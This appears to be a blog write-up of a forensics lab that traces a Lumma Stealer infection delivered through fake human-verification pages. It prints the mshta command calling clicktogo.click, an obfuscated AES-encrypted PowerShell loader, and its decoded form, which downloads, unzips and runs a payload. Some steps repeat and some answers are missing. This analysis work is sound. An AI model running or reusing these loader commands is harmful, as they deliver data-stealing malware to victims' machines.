Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124

Disk Analysis
Lumma Stealer is a powerful malware written in C that secretly steals a wide range of data from infected systems. This MaaS (Malware-as-a-Service) tool has quickly become known for its ability to target and steal important information like cryptocurrency wallets, browser data, email credentials, financial details, personal files, and FTP client data. It uses advanced techniques like controlled data writing and encryption to avoid detection and increase its effectiveness. A new and sophisticated method of distributing Lumma Stealer malware has been uncovered, targeting Windows users through deceptive human verification pages.
You have been given a disk triage from a machine that has fallen victim to this new attack. Your task is to analyze the malware and determine exactly what occurred on the machine.
Analyze multi-stage malware behavior, decode obfuscated scripts, trace execution flow, and identify evasion, persistence, and exfiltration tactics using forensic tools.

I decoded the base64 using cyberchef and found:
mshta "https://clicktogo.click/uploads/tra15"
Searching on google, we find “System Binary Proxy Execution: Mshta” and has T1218.005 as ID
Analyzing Edge History Artefact located at:
C:\Users\Administrator\Desktop\Start Here\Artifacts\Users\Infern0o\AppData\Local\Microsoft\Edge\User Data\Default
We find the following suspicious URL:
https://check-robot.b-cdn.net/Done-Captcha.html
In the Temp directory, I found tera15.zip

Host Application = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w 1 -ep Unrestricted -nop function llemiXA($iMYi){return -split ($iMYi -replace '..', '0x$& ')};$MeloNmjt = llemiXA('1EC0DD0BB73CA88CF5B0BD8263811B4B64E34C06A804D58C0D811D5C37129DB5FFAFF3FEB78DD5A8C99D9D7BA8C273BB91B1B75E06AB87A183EA7755CCABE7B6932D5F329F5305ACA6C3D7D808AC8765ECCC87F99F44C7296D2424100B42DF8C725C2951946060EA69ED332FE9E38A6EE3DBFE14005664EB807CD0D97E8066BAF32FB30305E9BCB1632DA3929F1A6D35F806B6ADA832BDD28C27DAC62E8048E082CC6076657EA67129E53CDD376F76BC7DD61EC02B7ABA914F3168EB1EC802A7D47907460C1BCB530B127B5FCABF6D0F9D323902BD023BB413216AD6E710BFEAE8D21715882AE9E8145DA4B7FF51E118407666DF27AF2374FDAC2F8086FEAE8FE51D21418E13D663E146D4EE51F5F66D45D68EC04D8BDBAC689AD4F09C3DD1889D47C47E909DA94FC6C3285BDB524410FC6F6E6F99D2BDCC82DF6D07CCDA6521E8ADAC7456B3212C7AAAC89D32FC8EC9FC0D4135BDBE19EB5FB37E391E633F1D5F9FCBF6BF94396BFDDB00A44C18EC929D97BAC9ADC3383B31DE685AC331D31AE6DE1803CE47C3989F203DE31546D749529FEE5B16CA01B5119C933223A1B21DE212CC321ABBD42CB8BF415900C9C0D5360406DE8CAEB2C91603FC7C299C270E67BEF0917E182D4D7001B7E4C5EBF710BC694C57E326F2783FF9150509431AB5845BD0B5A2FB07691DEE676D7FE0654BECB7AE175241E3AB495EC2D65D5FA126C5443E4E44B5F718C3F518D3E941E241D38BA855B06322364E61AC9182D5DD8987C5071A34732CE1F84365B97744A8C7A2831635E99E50D757B98A20C6197B58E622D1EC103C19D71DFA35AB4D021771DE08A5060B541FE76488C587576AD47238815B7FBEDF8844DE75EE77498A8FB1E5BDDB6EE2DF363851E223748EF1B17A596F8E039155ACC3BDA790ADDCBF1EE95768008B2D771A52CE8E589E9F41E7BA6474D9A49C0EE3265A11A92E9E877353A2EC2AA0CD2D8763F45633ABA0B37813EF274E4E88267E951079CA280E6AB2B7B5BD674929E47808B6B192871682FB41A2E73ED48375257811E5BC63B92DC423C8FB6712FCA16CA1A595A1BCB9327D94EBFA2B4C7F4AB78415731AD5812DB05B187FD30C3BFDA6647CE8154B7D6BA029C4FD0D39A343AABBB56A791659EC48C83E2CBE825B6CF31079E61E972368EB2F88EDECBB6AF363B82AE6C049BB8E07CBCC55522E2BAAEE50310A90229F69A91271804812F592BB8840D5C524D0920299C76866C9A35B890F3DA8B83F2433102A6354B210BD3435C758E4C313534EFF96A183DCBE2BA01EE36A17A46655FC56F67378ED2427E2EF703212103C10AC91E393047B31FEF5057EC3EE13AC675F0B526EB9037DFB8B3E8BD228FF0EB4822623');$kCqXc = [System.Security.Cryptography.Aes]::Create();$kCqXc.Key = llemiXA('53626368526B457A4E4F695244796C53');$kCqXc.IV = New-Object byte[] 16;$MAElvXve = $kCqXc.CreateDecryptor();$qWOgiQdIE = $MAElvXve.TransformFinalBlock($MeloNmjt, 0, $MeloNmjt.Length);$jGAqRnDYn = [System.Text.Encoding]::Utf8.GetString($qWOgiQdIE);$MAElvXve.Dispose();& $jGAqRnDYn.Substring(0,3) $jGAqRnDYn.Substring(3)
Decoded PowerShell Command:
$zip = Join-Path $env:TEMP 'tera15.zip'
$url = 'https://clicktogo.click/uploads/tera15.zip'
if (-not (Test-Path $zip)) {
(New-Object Net.WebClient).DownloadFile($url, $zip)
}
Expand-Archive -Path $zip -DestinationPath $env:TEMP -Force
$first = Get-ChildItem -Path $env:TEMP | Select-Object -First 1
Start-Process (Join-Path $env:TEMP $first.Name)
As found in the previous question after decoding the PowerShell Command:
https://clicktogo.click/uploads/tera15.zip
I calculated the malware’s SHA256 using the following cmd command:
certutil -hashfile chkbkx.exe SHA256
I got the following result:
7c5b4be6d1d08fe5bc81f0ac5b3ec77f87f73b5a81eef0dd6f45255b22f08edd
I then checked the behavior on VirusTotal and found the injected legitimate process:

I calculated the malware’s SHA256 using the following cmd command:
certutil -hashfile chkbkx.exe SHA256
I got the following result:
7c5b4be6d1d08fe5bc81f0ac5b3ec77f87f73b5a81eef0dd6f45255b22f08edd
I then analyzed the malware on VirusTotal and got the domain:
